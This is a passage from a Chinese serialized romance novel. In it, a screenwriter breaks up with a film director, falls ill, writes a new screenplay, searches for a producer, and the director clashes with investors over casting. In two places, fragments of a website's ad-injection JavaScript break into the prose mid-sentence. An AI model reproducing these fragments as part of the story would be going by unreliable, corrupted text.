这个女演员不是什么大咖,只是默默无闻的小演员,戏份也不重,她根本没有想到剧组会有人记得她的生日,还特地为她庆祝。 剧组所有人都停工了,大家聚在一起吃蛋糕。道具师点了篝火,大家围着篝火一起喝啤酒跳舞,谈雪昼被起哄要唱歌——他那时年纪太小了,才二十出头,开工时气势惊人,一收工,就成了剧组所有工作人员调戏的对象。 他也不扭捏推辞,拿过旁边工作人员递来的吉他,自弹自唱,唱的是首英文歌,声线懒散干净。 宜夏听完一整首歌,又拉回进度条听了一遍,一阵温柔的心碎袭来。 瑁妹趴在她膝盖上,因为听见熟悉的声音,一直软软黏黏地撒着娇。 门口突然传来敲门声。 他……是他回来了吗? 他是要回来收拾东西的吧。 她该跟他说什么? 她近乎慌乱地站起来,抱着猫走到门口,做了好一会儿心理建设,才拉开大门。 门外站着一个职业装打扮的中年女人,身段纤瘦,面容严肃。她背后是三个西装革履戴墨镜穿军靴的男人,每个都一米九以上,面容冷峻,很像保镖。 宜夏一愣:“您是?” 女人态度冷淡但礼貌:“你好,我是来帮我的雇主收拾行李办理退房手续的。” “他……他自己人呢?”突如其来的难过淹没了她,宜夏在心里唾弃自己的矫情,沉默片刻,让开大门让女人进来。 女人在门口非常自如地为自己套上了鞋套,接过保镖手里的纸箱,似乎很熟悉她家的构造,直接上了二楼。 三个保镖一言不发地站在门口,宜夏犹豫着,不知道要不要请他们进去坐下。 可是……谈雪昼为什么自己不来? 就那么不想见到她吗? 是啊。 如果她是他的话,也不会再想见到她。 宜夏在一楼煎熬地等待。 她害怕谈雪昼就这么让人把所有东西都带走,甚至,带走瑁妹,却根本不露面。 半小时后,女人下了楼,叫保镖们把箱子搬下去,停在了宜夏面前。 宜夏面色苍白,问她:“还有什么事吗?” “谈先生交代我们,最重要的是他的猫需要带走。” 果然如此。 宜夏扭头看了眼正在沙发上踩奶的小猫,抿着嘴唇,低声说:“猫……也是我的,我没办法把它交给你们。” 女人严肃地看着她:“我只是为谈先生工作,请您不要为难我。” 宜夏伸手,轻轻捞过小猫。 是他的猫。 他把它从野外带回来,给它体检,打疫苗,绝育,给它买猫爬架猫粮小零食,照顾它,陪它玩。她又怎么能,因为偶尔喂它一两次,就把它占为己有呢? 她揉了揉小猫头顶毛绒绒的软毛,缓慢把它递给了那个女人。 谁知小猫一接触到陌生人的怀抱,就激烈地挣扎起来,四肢乱动,尖叫声格外凄厉。女人试图控制住猫咪,反而被猫挠了一爪,手臂顿时出现一条长长的红痕。而猫咪也借机跳出了她的禁锢,飞奔到书架顶上躲了起来。 宜夏焦急地叫它:“妹妹!下来!”又回头看那个女人,“你……这猫打过疫苗,没关系的,我给你找个创可贴吧。” 女人犹豫片刻:“不用了。我们带了航空箱过来,麻烦你把猫叫下来就好。” 宜夏看着她手臂上血珠冒出来,给她找了几张纸巾擦掉,还是从柜子里翻出来了创可贴递给她。 女人迟疑地接过,轻声说:“谢谢。” 宜夏尝试用猫条吸引小猫下来,但小猫似乎是察觉到了什么不对,死活不肯出现。 徒劳无功地忙了好一会儿,宜夏看向女人,有些艰难地开口:“它可能有点害怕,或者,需要谈……谈先生自己来接它。”呼吸有些紧张,宜夏捏紧手指,轻声问,“你要不然,给他打个电话?” 50. 想把你比作春日 宜夏这一刻,无比唾弃自己的拖泥带水。 说不清楚是什么样的心情,她盯着那个女人。 女人拨通了一个号码。 瑁妹依然藏在书架的阴影里,警惕地喵喵叫着。 电话很快接通,女人简单地跟那边说清楚了情况,答应两声,片刻后,把电话递给了宜夏。 宜夏一愣,耳边传来他散漫干净的声音。 “你好。” 你好? 宜夏没想到。 面对她,他竟然还能维持住这样的体面礼貌。 宜夏轻声说:“你好。”顿了下,“瑁妹它躲在书架上,不让别人碰它。可能要你亲自来接它。” 对面沉默片刻,宜夏的心被一把攥紧,好像一张纸被乱七八糟地揉皱,再也无法展平。也许是太煎熬,她补充了一句,“如果你不想……见到我的话,你来之前让人通知我,我把钥匙,放在你知道的地方。” 那边过了好一会儿,才漫不经心“嗯”了一声。 随后电话那端传来了嘟嘟的忙音。 宜夏深呼吸,把电话递还给那个女人。 女人不言不语,很安静地带着其他行李,带上保镖们一起离开了。 她走之后,宜夏在沙发上坐下,心底骤然传来强烈的空落落的感觉。 家里谈雪昼所有的生活痕迹全都消失,客厅空空荡荡的,如此寂寞。墨绿的丝绒窗帘密匝匝地垂着,似乎把外界所有声音都阻拦在外。 好安静,安静得让她能听见自己心跳的声响。 她失魂落魄地上楼,想检查一下他有没有遗漏丢失的东西。 推开房门,只见一片干净齐整。地被刚刚那个女人擦得干干净净,床单换上了新的干净的,书桌上也空无一物。甚至他放在窗台上的两盆小九里香都不见了。 房间就好像从来没有人住过一样。 竟然什么都没有留下。 宜夏跌坐在床上,闭上眼睛。 他真是个好客人。收拾得这么干净,完全不耽误她把房间再租出去。 可是她已经不想再租了。 在床上略略眯了一会儿,她下楼收拾了衣服去洗澡。 也许是浴室蒸汽太烫了,洗到半途,她突然眼前一黑,缓了好一阵才清醒过来。 一整个下午,坐在空荡荡的客厅沙发上。 什么也不想了,什么也不做了,她根本提不起精神来想任何事情。 直到一个电话把她从失魂落魄的神游中唤回。 “宜夏,你这几天去干嘛了,我给你发了一百条消息你一条都不回我?”她声音带着点调笑,“该不会忙着过二人世界吧,不要这么重色轻友啊!” 宜夏愣住了,干干地应了一声。 虽然没得到她的回应,薛霓那边依然兴致勃勃,“你跟你家难搞哥最近怎么样了?进展如何?有没有把他搞到手?” 宜夏情绪突然一下决堤,强行压制住已经涌到眼底的泪意:“我……霓霓,我做错事了……我跟他分手了……” 那边,薛霓的声音一下变了:“……怎么了,小夏?你们怎么回事?” 宜夏这几天,都不知道跟谁倾诉。 面对薛霓的提问,她也没办法一下找出话头,只好断断续续,语无伦次地讲起这段时间的经历。其实故事从一开头就是错的,所以,到后面,结束得顺理成章。讲到分手,讲到他问她“有没有一点真心”,宜夏心又一次被揪紧,话到嘴边,说不下去了。 薛霓那边沉默着,好一会儿才问:“所以,难搞哥其实是……谈导吗。” 宜夏没出声。 薛霓干巴巴问:“那你现在怎么想?其实我觉得……他最后那么问你,明显是对你有感情,你为什么一定要提分手……你可以跟他道歉,让他不要生气,求他原谅你……” “我……”宜夏有点哽咽,“我就是觉得,我不配。我本来就配不上他……还做了那么多错事,我家里……还是那种情况。我就算跟他在一起,也不可能长久的。” 那边,薛霓长长叹了口气:“傻瓜。” 三小时后。 宜夏拉开房门,薛霓拎着一大袋东西出现在了门口。 见到她,宜夏眼眶一红。薛霓丢下东西,伸手紧紧抱住了她。 宜夏把额头搁在好友柔软的肩头,呼吸着她身上的香味,很久才起来。 薛霓把人拉到沙发上坐下,宜夏看着她,喉头梗塞,竟然说不出话。薛霓没有多问,起身去厨房洗了几个水果端回来。 宜夏也不吃,只是坐着,不一会儿又走神了。 失恋的症状也太明显了。 薛霓不知道怎么安慰,摸摸她脑袋,把她抱进怀里:“没关系的,小宜,人和人就是这样阴差阳错的。有时候啊,就是没有缘分,不用强求。能一起度过一段时间已经很好了。” “而且,其实你说得很对,你们没谈多久,就分手,你已经这么难过了。要是谈了很久再被他知道真相,再分手,不会更难过吗?所以长痛不如短痛。” 道理是这么个道理,心却不受控制。 薛霓又有点恨铁不成钢:“为了个男的就这么失魂落魄,打起精神来,你可是要杀回电影圈教训于思程这个大贱人的。我允许你伤心两天,两天过后,继续搞你的工作知不知道。” 宜夏睁着眼睛望着天花板。 工作……电影,导演,剧本,拍摄,基金,路演,有那么一秒钟,她真想逃得远远的,去欧洲去美国去中东。 可是不行。 - 薛霓陪了宜夏好几天。 宜夏终于从做什么事都提不起精神的状态上恢复了一点——主要是薛霓各种刺激她,给她看于思程这个大贱人的各种吹逼通稿。 宜夏,你要把世界让给你看不起的人吗? 宜夏重新整理了自己的分场剧本。 虽然跟谈雪昼签了投资的合同,但她没脸用他的钱。他给的投资她不去想,现在比较重要的是要通过扶持基金的复审。但是电影基金给的那些钱不一定够她拍完一整部电影,她还打算去参加最近的青年电影人创投计划。 之前她写《江流冬日》的时候,认识了一位投资人,就鼓励她自己试试去创投,但那时候她万事顺利,根本想不到有自己去拉投资的时候。 没关系。 独立电影的开始都是这么困难的。 薛霓看着她又投入到了工作当中,才放下心来,销了假离开清塘岛回单位。 临走时,她问宜夏:“还打算继续开民宿吗?抓住旺季的尾巴,这几个月能赚一点是一点。” 宜夏一愣。 薛霓看她突然空白的表情,心咯噔一下,知道自己好像说错话了,若无其事找补:“不过不开其实也挺好的。外婆一个人寂寞才会开这个民宿,你之后要忙电影的事,哪里顾得上开民宿?还是别开了,你要是一个人待在家无聊,周末我就来陪你。” 宜夏表情依然空白,但能有条理地接话:“房间还没整理好,过几天我再挂链接上去。” “……真的?” 宜夏镇定说:“一块钱也是钱。” 前几天明明那么伤心,能走出来这么快吗? 薛霓其实觉得她好像在用工作麻木自己。 为她这种状态心惊,可是又不好多劝什么。 - 薛霓刚离开清塘岛,宜夏突然就病倒了。 突如其来的高烧,挑准了没有其他人陪伴的最脆弱的时刻。 她刚把民宿的链接挂上网络,就来了两个电话问她具体情况。可是她高烧躺在床上根本起不来,嗓子也说不出话,整个人昏昏沉沉,脑子炸疼。 好不容易拖着身体爬起来吃了一粒退烧的对乙酰氨基酚片,体温从三十九度稍稍回落到三十八度三,她挣扎着给客人回电话。客人一听她嘶哑的声音,就不敢定下民宿了,害怕被传染感冒。 她发着高烧躺了两天。 家里只有瑁妹一个活物陪伴她。 也许到了关键时刻才能看出猫咪的珍贵之处。 瑁妹这几天不吵不闹,非常安静地陪着她,时不时用爪子推推她的脸,害怕她真的死掉。甚至叼来她最爱吃的猫条,还有攒在沙发底下的冻干,堆到她面前,想让她吃一点东西。 不想让猫太担心,宜夏还是拖着高烧不退的身体去了小岛上的诊所。 一个人看病,挂水。 烧得严重,挂水要挂好几个小时。 她连着几个晚上发烧没睡着,在诊所的椅子上稍稍眯了一会儿,醒来的时候,就发现输液管红了一大半:没人注意到她输液已经输完了,血管回上了血。 她要起身去叫护士,浑身发软没力气,又跌回了原位。 好在一个护士终于注意到了她,帮她拔了针又重新扎,重新输液。 护士训斥她:“在输液室也能睡着?没人陪你来吗?” 宜夏摇头。 护士说:“那你自己注意,待会儿可千万不能睡了。回血了很严重的,你没感觉到一点疼?” 宜夏脸颊烧得通红,恍恍惚惚点头,努力盯着输液的药瓶,不让自己睡过去。 夜幕低垂,天边繁星闪闪。 还有两瓶药水要滴,宜夏困得眼皮打架的时候,口袋里手机突然震动起来。 一个陌生的号码。 打算定民宿的游客? 她艰难地单手取出另一边裤子口袋的手机,接起电话。 那边开口,声音滞涩:“阿宜,是我,舒润。” 宜夏木木“啊”了一声。 舒润说:“我现在在岛上。” 宜夏身体和精神都很疲倦,也不想应付他了,找到手机的挂断按钮。还没有按下,那边紧急说:“我马上要进组了,阿宜,我想来看看你。我听人说……说你跟谈导是不是……” 宜夏沉默片刻,说:“跟你没有关系。” “我没有那个意思……阿宜我只是想……” 他话还没说完,突然听见听筒对面传来一阵惊呼声,七零八落的声响过后,有人拾起了手机,“你好?是病人家属吗?来诊所一趟,病人突然晕倒了。” 十多分钟后,舒润身披夜风出现在了诊所的输液室里。 夏夜的清寒浸染着衣角,他行色匆匆,径直穿过输液室,去到了诊所的单间小病房里。 宜夏躺在床上输液,人已经醒了过来,面色特别苍白。 舒润的表情的担忧不似伪装:“怎么病成这样了?还有几瓶水要输?” 宜夏没有吭声。 旁边小护士说:“快了,这是最后一瓶。” 舒润问护士要了杯热水捧给她润润干裂的唇瓣,低声问:“你吃晚饭了吗?” 宜夏不记得了,不过输了葡萄糖,她一点都不饿。 舒润顺势在她旁边坐下,声音有些卑微:“阿宜,别赶我走。” 宜夏扯了下唇角,表情平静:“你没必要这样。” 舒润不敢多说话,宜夏也不看他。 输液结束,护士来为她抽针。 夜已经深了。 海边露重,出了诊所,猎猎晚风吹来,宜夏的脸上涌起一片潮红。 舒润看她走路脚步有些不稳,虚虚扶了一下她肩膀:“我送你回去吧。” 宜夏拒绝,但也没办法阻止他就是跟在她后面。 她低着头往家里的方向走,舒润小心翼翼地问了她几句关于她新剧本的话题。 其实,跟舒润的分手,虽然很不愉快,但她现在已经不恨他了。 因为,恨是和爱一样浓烈的情绪。 如果舒润不是一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直纠结着,其实退回去,还能做礼貌性的朋友。 宜夏一直沉默,不回答他。整个人病容恹恹,没有精神。 家门前的环海公路是一个大上坡。 平时没生病,不觉得这个上坡有多难爬。但现在身体弱,拖着病,从诊所走回家又是很长一段路,这会儿她边爬边喘气,脸上浮上一层浅浅的潮红。 心脏跳得又急又快,简直像要从胸腔挣脱出来一样。稍稍呼吸,嗓子眼干涩,又涌出强烈的腥甜味。爬到一半她实在有些走不动了,撑着膝盖跟舒润说:“我休息一下。” 舒润回过头,不知道要不要扶她一把。 他不敢伸手,怕她太抗拒他。 待宜夏站直继续往前走时,他终于没忍住:“我扶你。快到了,你慢点。” 宜夏说:“我自己能走。” 话音刚落,她眼前忽然一黑,整个人不受控制地朝前倒去。舒润立马接住她,揽住她的肩膀,声音满满都是心疼:“阿宜,你明天最好去江流的大医院看看。” 宜夏实在没力气,挣扎着摇了摇头,从他的臂膀下挣扎出来。舒润不敢强迫她,亦步亦趋跟在她身旁,时刻注意着她不要真突然晕了,看她走路趔趄,还是用手虚虚地拢着她的肩膀。 走到坡上,宜夏喘着气跟他说:“今天……谢谢你,但你以后,不要再来找我了。” 舒润很受伤害地看着她:“阿宜,你真的不能原谅我吗?” 宜夏满脸绯红,安静地看着他。 旁边突然传来一阵窸窣的轻响。 两个人都转过头,朝不远处的院门口望去。 家门口,院门门头两端一边挂着一盏黑胡桃木的壁灯,光线昏黄。 光线照不到的昏暗处,一个人缓缓从黑暗中走到灯下。 廓形很好的浅色薄风衣,衣摆沾着夜晚的露水。夜风拂起稍长的额发,一瞬间挡住了他的眼睛。他脸颊轮廓竟然比前段时间瘦削清减不少,眼神一如既往的锋利冷淡,平常身上吊儿郎当的懒散完全消失了,站直的时候,整个人如同已经开锋的剑、拉紧的弓,不能回头的羽箭。 漆黑的眼睛清凌凌的,仿佛屋檐垂下来许多冬日的冰挂,闪着白亮的光。 宜夏呆住了,旁边的舒润也愣了,拢着宜夏的手掌却不自觉收紧。宜夏立刻下意识地挣开。 舒润很自然地垂下手臂,手掌握拳,侧过来低声问:“你没事吧?” 宜夏直勾勾地看着不远处的人,没说话。 谈雪昼手掌缓缓握成拳,平静地看着她。 沉默很久,似乎做了很多的心理建设,然而一开口,他说的是:“你生病了?” 宜夏鼻尖突然一酸。 已经做好的心理建设在下一刻溃败崩塌。 刚刚那几分钟他肯定看见了舒润扶她上坡,她栽进舒润怀里,看见了他们这些容易招致误会的肢体活动。 可是他没问。 他第一句话怎么能是,关心她呢? 宜夏咬紧了牙关,站直,轻声说:“你来接瑁妹吗?那你,先等一下,我进去找它。” 谈雪昼弯了弯唇角,但那笑容浅淡不达眼底,疏离而礼貌:“谢谢。”他顿了下,目光轻飘飘扫了舒润一眼,转过头又看向宜夏,语气很平淡,“挺好的,感谢你这段时间对它的照顾。之前的猫粮,猫窝,猫爬架,还有猫饭,我让人折现给你。” 宜夏张了张口,刚要开口,摇摇欲坠,眼前又是一黑。 舒润眼疾手快把她扶住。宜夏用尽全力才从突如其来的晕眩中清醒,没回答谈雪昼,而是看向舒润:“你走吧。我还有话跟他说。” 舒润不大放心,但说到底很尊重,只是扶她站稳,低声说:“我不走远,就在另一边等你。你这样不行,我待会儿送你去医院……” 宜夏摇头说不用。 另一侧。 看着举止亲密的两个人,谈雪昼的手掌不自觉攥紧。 挺可笑的,短短几天,刚跟我分手,就能再跟前男友复合,宜夏,你到底有心吗? 说什么厌恶前男友,都是假的,都是装的。 舒润隔了几步距离,朝谈雪昼敷衍点了个头,往另一边走去。 只剩两个人了。 宜夏目光不闪不躲地看着谈雪昼,抿了下唇。唇瓣干裂起皮,一点点血腥味沁了出来,她轻声问:“除了猫,还有没有什么别的东西落下了,我一起找给你?” 谈雪昼轻飘飘说:“不用。落下的东西你随便处理,扔了就行。” 宜夏平静点头,伸手推开院门。 一下没使上力,整个人又恍惚着朝前倒去,脑袋重重磕在门板上。站在旁边的谈雪昼两只手插在口袋里,手掌突然握成拳,脸上却没有任何表情。 宜夏摸索着推开了门。 谈雪昼一直站在门口,没有进去的打算。 宜夏进了门,瑁妹立刻扑进她怀里。 她抱着猫回到小院门口,猫闻到熟悉的另一个主人的气息格外激动,喵喵叫着就要往谈雪昼的怀里扑。 谈雪昼脸上终于带上了一点点笑,他把猫抱过来,冰凉的视线一寸寸从宜夏脸上掠过,最后,所有的情绪都消失了,片刻后,一言不发地转身离开。 宜夏强撑着站在原地。 待他转身后,泪水立刻止不住了,一滴滴地滚出来,她抬手擦了个干净,平静地抬起头,转过脸,没有看他的背影。 瑁妹窝在谈雪昼怀里软黏黏地撒娇叫了几声,看爸爸越走越远了而妈妈留在原地,着急地叫起来,拼命挣扎着。 谈雪昼安抚地摸着它头顶的茸毛。与舒润也擦肩而过,他甚至没有朝舒润看一眼,脚步平稳,衣摆带着凉意坐进车里。 司机连转向灯都没有打,直接起步,沿着环岛公路朝下疾驶绝尘而去,只留下不绝的引擎声。 51. 想把你比作春日 第44章 宜夏拒绝了舒润的关心,合上院门之后,背对院门蹲了下去,闷闷抱着膝盖缓了一阵子。 这下是真的分干净了。 再也没有任何联系。 宜夏发了好几天高烧,整个人就好像沉沦在光怪陆离的幻境里。 她以前读一本编剧必读的教材,那本书的作者说,电影编剧最需要做的其实是写自己的故事。 她对这个观点嗤之以鼻。 观众怎么可能对我乏善可陈的人生感兴趣?我的人生故事如此简单清净,哪怕再有天才的导演编剧操刀,也凑不够一百二十分钟的电影,最多拍成三分钟的简单纪录片。 这两天,沉在昏昏沉沉的玫瑰色的幻境中,她却好像明白了,自己的故事不是自传,而是自己的情绪、经历衍生出的那些能折射自我的东西。 她突然顿悟,要怎么写过去怎么也写不出来的感情线。 两个人相遇,相爱,历经很多磨难,最终携手走很长一段人生路,这是一件很难也很珍贵的事,不比拯救一座城市、追缉一个凶犯简单。 拯救一座城市拯救的是生命,相遇相知相爱,点亮的是灵魂中的某一块。 发现这一点的时候,灵魂里的那一块已经随着那夜家门口远去的引擎声碎裂了。 但又在她的笔端复活。 她发着高烧,把眼睛熬得通红,不眠不休地趴在电脑前写了一个剧本。人物、情节、对白自然地从脑海里直接跳到了发着微光的屏幕上,她写了她以前一直写不出来的爱情故事,一个简单的爱情故事。 三万字的剧本,写了四天。 写完当天,她直接躺回床上睡了一天一夜,醒来的时候高烧退了,整个人清明得不行。 病好了。 失恋也结束了。 她开局失败、结局也失败的爱情结束了,只有那些浓烈的情绪,留在了剧本里。 这个剧本,她取好了名字。 《想把你比作春日》 她下楼洗了个澡,从没这么简单干净过。 再回头看昏昏沉沉这几天写的剧本,虽然错别字连篇,但却完整圆融得她一个字都改不掉。 ——就仿佛当初她写完《强制报告》的剧本一样。 这么好的剧本,我自己来拍。 我要成功,我要高票房,我要奖项,我要所有人都看见我,我要有自己决定一切的实力和话语权,然后,选最合适的演员,用最好的班底,拍出我的剧本,把珍贵的故事分享给所有人。 至于失恋。 谁没有喜欢过一个不该喜欢的人呢? 谁没有,喜欢过一个配不上的人呢? 正因为他足够美好,才会映照出她所有的不堪,所有的胆怯、自卑、懦弱、忽明忽暗的自我。 这段感情的结束,他做得很干净利落,而她拖泥带水,留着猫,不就是期盼他能回一次头吗? 本来就做得很矫情,现在既然已经这样,她确实不该再想。 继续往前走。 就当没发生过。 宜夏挑了个很好的天气,里里外外把家里大扫除了一遍。 却意外在楼上的浴室里,找到了半支没有用完的香薰蜡烛。淡淡的青柠罗勒与柑橘的香味,干净清冽又明朗,是他身上带的气味。 宜夏把那半支蜡烛拿到楼下,收进小箱子里。 坐着发了一会儿呆,看着窗明几净的房间,她下定了决心,要断舍离,要干净,不要拖泥带水。 她删掉了他的微信和电话号码。 ——如果手机里一直存着他的联系方式,她总有一种期待,那种期待很微妙,就像期待着在某个下午突然从家里找出他生活过的痕迹。 现在,删完了,期待没有了,Moveon了。 还有很多事情要做。 《清塘山岛日记》前段时间申的电影基金需要复审,去现场路演。 她对这些都是新手一个,很忐忑,赶鸭子上架。但人生真的会自己找到出路,原先觉得无比惨淡的事业,现在好像也有勇气、有突破口了。 接下来还有组建团队、前期筹备、选角试镜的事,很忙。 宜夏在圈子里人脉不广。 说来其实有点离谱,人脉不广的原因,是她红得太快,她没经历过最开始艰难打拼、跟所有人搞好关系的那个阶段。 宜夏第一个项目是在江流大学上学期间写出来的。 当时她看完了,灵感突如其来,写的却是一个跟校园霸凌相关的奇幻故事。 落魄的社畜女主角搬回老家住,却意外被一群鬼魂缠上,跟鬼魂斗智斗勇的时候,鬼魂身上的秘密逐渐揭开,她帮他们复仇,在此过程中,也逐渐解开了自己的心结,找到了自己在世界上真正的落点——可惜这个故事里有“鬼”,而院线不允许不科学元素上映。 电影做完上了网络平台,宜夏第一次有了署名,第二个剧本《江流冬日》才能推销出去。 然后成名。 张爱玲说,成名要趁早。 可是成名太早,也有苦恼,一切太顺其自然,太萍水相逢,遇到了困难,那些在她的高点慕名而来的人,没有人愿意拉她一把。 之前打算卖《清塘山岛日记》的剧本时是见了很多制片和导演,但算不上人脉,没人愿意帮她。 这会儿要自己找制片了,也不知道谁靠谱——影视圈里,靠谱的人真的特别特别少。 她尝试着重新给几个合作过的制片人发了消息。 不出意外,陆陆续续得到了婉拒。 一是她自己拉项目,只有一个剧本,新手导演兼编剧,一看就不靠谱。 二是,这些制片手上操盘的都是几千万几个亿的大项目,看不上几百万的独立电影。 宜夏没办法,破罐子破摔。 直接做了张概念海报,上微博和小红书发了招募。 她的微博大号已经很久很久没上过线了。 被网暴了几万条,评论私信转发全面沦陷,至今她都没敢把那些充斥着辱骂、暴力和谣言的私信看完。 发完招募她匆匆下线,她留了邮箱,如果有制片人想加入,能通过邮箱联系。 然而直到第二天,邮箱都没什么动静。 她没忍住再登录了微博看了眼,私信非常多,随便点开一条—— “你居然还在电影圈,不要脸,你怎么不去死啊?” 宜夏心惊肉跳,赶紧下线。 下线后又觉得自己太怂太憋屈,再登录上去,把私信骂她的人投诉举报了。 到晚上时,邮箱终于进来了两封信。 一看,一位是电影学院的本科生自荐,短片都没拍全乎过。 一位是问她需不需要导演的。 宜夏一一回复了。 在网上找人,确实不大靠谱。 那又能怎么办呢? 她洗完澡出来,接了个电话,陌生来电显示。 接通,那边居然是全光毅导演。 宜夏一怔。 全光毅问她:“你妈妈给我看了你要找制片的事。要不要叔叔给你介绍?” 宜夏甚至没有思索,直接说“不用了”。 全光毅被她如此毫不犹豫的拒绝搞得有点不快,不过也没有表露,淡淡说:“叔叔的好意,你没有必要这么抗拒。你妈妈很关心你。” 宜夏沉默片刻:“叔叔,您认识的都是大制片,看不上我这种几百万的小项目。” 全光毅说:“有什么其他需要跟叔叔说。” 宜夏没说好,也没说不要,静等他挂断了电话。 她知道,她目前面对的所有问题,在妈妈的丈夫——原谅她用这个词——在全导眼前,绝对都是一点举手之劳的小事。 可是她没办法接受这些帮助,尤其是在知道谈雪昼和他的关系之后。 她眨了下干涩的眼睛,再次检查了一遍邮箱。 满怀希望点进一条新消息。 却是有人满屏污言秽语地辱骂她。 - 谈雪昼回了江流。 《牺牲者》的剧本已经写完了,导演组开了几天会,提前进场。 演员试镜早就结束,但最近原定的女主角出了税务问题,需要换人。资方想要塞自家人进来,出品方也有推的新人,各方势力各出奇招神仙打架。 资方派制片来跟他说情,出品方那边则推了监制来跟他聊选角。谈雪昼夹在其中,拉着编剧组开会,漫不经心说: “直接删掉女主角这个角色,谁也别争了。” 编剧组大惊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 失色。 季一鸣直接问:“你他妈疯了吧!” 不把编剧组的命当命了?! 剧组发了新组讯,谈雪昼选了几个看起来不错的女演员试镜,试了两天,最终勉强选了个女演员出来。 他的电影对女演员要求高又不高。高在于,他的组真的很苦,各种危险特技、打戏武戏,都不准用替身,开拍还总是找些荒郊野岭;不高则在于,演员只需要跟着他的剧本他的安排走就行了,很少需要挖掘角色内心深入创作,演技差不多不出戏就够了。 所以观众和粉丝都说,他的电影唯一的招牌是他自己,而不是大咖云集的演员阵容。 演员终于定好。 布景组紧赶慢赶把景置好。 开机前几天,谈雪昼被徐皑约去了金鱼巷的酒吧Stagecoach。 谈雪昼前两天还在跟道具组各种确认最终道具的成品,熬了几个大夜,眼底青黑一片。 到酒吧卡座里一坐,整个人就窝了进去,懒洋洋地倒水。 徐皑夺过水杯:“干什么,来酒吧喝水来了?” “喝酒,你也不敢让我喝吧。” 徐皑:“我是看你最近人间又蒸发了,想来问你事情来着。” “放。” 徐皑:“小昭说你失恋了,怎么个事?还说你被坏女人骗身骗心了,找他诉苦,伤心欲绝,茶饭不思,借酒消愁,愁肠百转,肝肠寸断?” 谈雪昼掀起眼皮,皮笑肉不笑:“要不要我夸你成语学得好?” “到底怎么个事啊?就是前段时间你说的那个,耍过你又消失的那个女人?你又被耍了?吃两次亏,亏亏有体会;上两次当,当当不重样?” 谈雪昼越听越不是滋味,站起来穿外套:“要是聊这个我就回去了,最近忙。” “别啊别啊!”徐皑连忙扯住他,“你不想提就不提,就不提,对了你知道吗,我上回去远微找小昭,撞见他跟谁,你猜!” 谈雪昼受不了这人的到处八卦,但还是奉陪了一句:“该不会是佟见溪吧。” “靠你真神了,真的是佟见溪!佟见溪这女的也真的够不要脸的,没想到大学毕业之后竟然有脸进远微,还混成泽哥的特助了,现在被泽哥安排给小昭当副手。” “然后呢?” “什么然后?” “这么好的机会,应惟昭打算怎么办?” “我昭心善,不是那种针对前女友的人。”徐皑想了下,“上回没撞见太多细节,下次我再去打探一下。不过佟见溪这个女的真绝了,脸皮够厚的,小昭怎么玩得过她。不行,我得给小昭提个醒,别再被她玩弄感情了。” 谈雪昼没打断他,但也没反应,只是静静拿过玻璃水壶继续倒水。 “你说说你对这事什么看法吧!” 谈雪昼淡淡说:“不关我事。应惟昭自愿的。” “……那你,你和你那朵儿桃花,你也是自愿的?” 谈雪昼凉凉看着他:“你不嘴贱也没人把你当哑巴。” 徐皑好一会儿才认真问:“该不会真受伤了吧?我以为小昭在跟我夸张呢。” 谈雪昼窝在卡座里,沉默许久,意兴阑珊地翻了翻手机。 突然跳出一条新消息,来自季一鸣。 季一鸣给她发了个截图: 【这怎么回事?】 【宜老师怎么在找制片人合作啊】 谈雪昼点进去一看,是一张朋友圈截图,宜夏在找合作的制片人,共同开发《清塘山岛日记》。 谈雪昼点回自己八百年不翻朋友圈,破天荒翻了一次。 一直翻到底,也没有看见季一鸣说的“找制片人”那条。 他点进她的微信。 然而从头像点进朋友圈,只能看见一条陌生的横杠。 很明显。 她把他拉黑了。 挺好的。 宜夏,你真挺行的。 谈雪昼没在酒吧坐太久,懒得搭理徐皑的操心,开着车直接回了家。 车闯进地下车库,在安静阗然的黑暗里,他静坐了好一会儿,胸口起伏却越来越快。 思绪翻滚,呼吸沉重急促,他突然一拳砸在中控台上,翻出手机拨了个电话。 “喂?师兄,是我。” 52. 想把你比作春日 宜夏的诚心感动了上天。 第三天,邮箱终于有了个靠谱的制片人自荐。 就是太靠谱了,她觉得有点不可思议——柳明昱,说出名字来,圈里没有人不知道的。 宜夏在《江流冬日》得奖之后,也有缘曾经跟柳总吃过一顿饭,当时对人印象特别好——饭桌上有位投资人一直想逼她喝酒,柳总淡淡替她解围,散席的时候,还特地让助理给了她一包糖果,因为注意到她脸色差低血糖。 柳总其实年纪不大,三十出头,在圈子里却是格外年少有为,所有人都要敬他三分。一方面是家世神秘优越,另一方面,也是自己能力强、实力出众。 手上的基本都是投资几个亿的大项目,上一个项目还是今年票房大爆三十多亿、拿下年度票房亚军的《虚惊一场》。 也没听说过柳总想要接触独立电影想要拍冲奖的艺术片啊? 但—— 邮箱里附上的真的是柳总的简历。 该不会,是有人在捉弄她吧? 宜夏惴惴不安地加了邮箱里的微信。 没想到,对方竟然很快就通过了她的好友申请。 【你好,光耀柳明昱。】 宜夏先要确认一下这不会是冒充的吧。 于是偷偷点进了人朋友圈。 柳总朋友圈还挺有情趣的,背景是张电影截图,是宜夏最喜欢的导演塔可夫斯基最后一部电影《牺牲》的画面和台词。 “我们生活在世界上,受着苦” “我们期待着一些东西。” 朋友圈里的内容,竟然没有跟他自己相关的项目,大部分是简短地记录日程。 “讨论剧本。编剧组明天重写第十场,最终稿还定不下来。 下雨。 喘息时刻。” “酒店里看《日以作夜》。 所有人都在乱搞关系,只有导演是纯洁的,哈哈。” “参加试镜会议。 十一点,回小雪的邮件。 看场景结构。 跟周可为碰面,才知道他曾经担任过是枝导演的录音师。” “再看一遍《乡愁》。 什么时候才有机会拍这样的片子?” 宜夏又觉得惊喜。 她居然和柳总的口味一样,都喜欢《乡愁》,喜欢塔可夫斯基,喜欢是枝裕和。 又有些狐疑,这,确定,是真的柳总? 也没听说柳总有这么文艺啊,他制作的电影都是商业片来着。 宜夏小心发了句问好。 对方过了很久也没回。 宜夏这下是真不安了。 不会被耍了吧。 于是她直接问: 【你好,你真的是柳总吗?】 柳明昱: 【?】 【是什么让你产生了这种疑问?】 宜夏: 【有点太不可思议】 柳明昱: 【那要我给你证明一下?】 【我记得我们之前见过一面,要不要视频确认一下我是不是本人?】 宜夏赶忙说: 【那倒不用了。】 【我确认一下,柳总您是看了我的微博,想看看我这个项目吗?】 柳明昱: 【那倒不是。】 宜夏:“……” 就是在耍我。 那边顿了下,过一会儿才说: 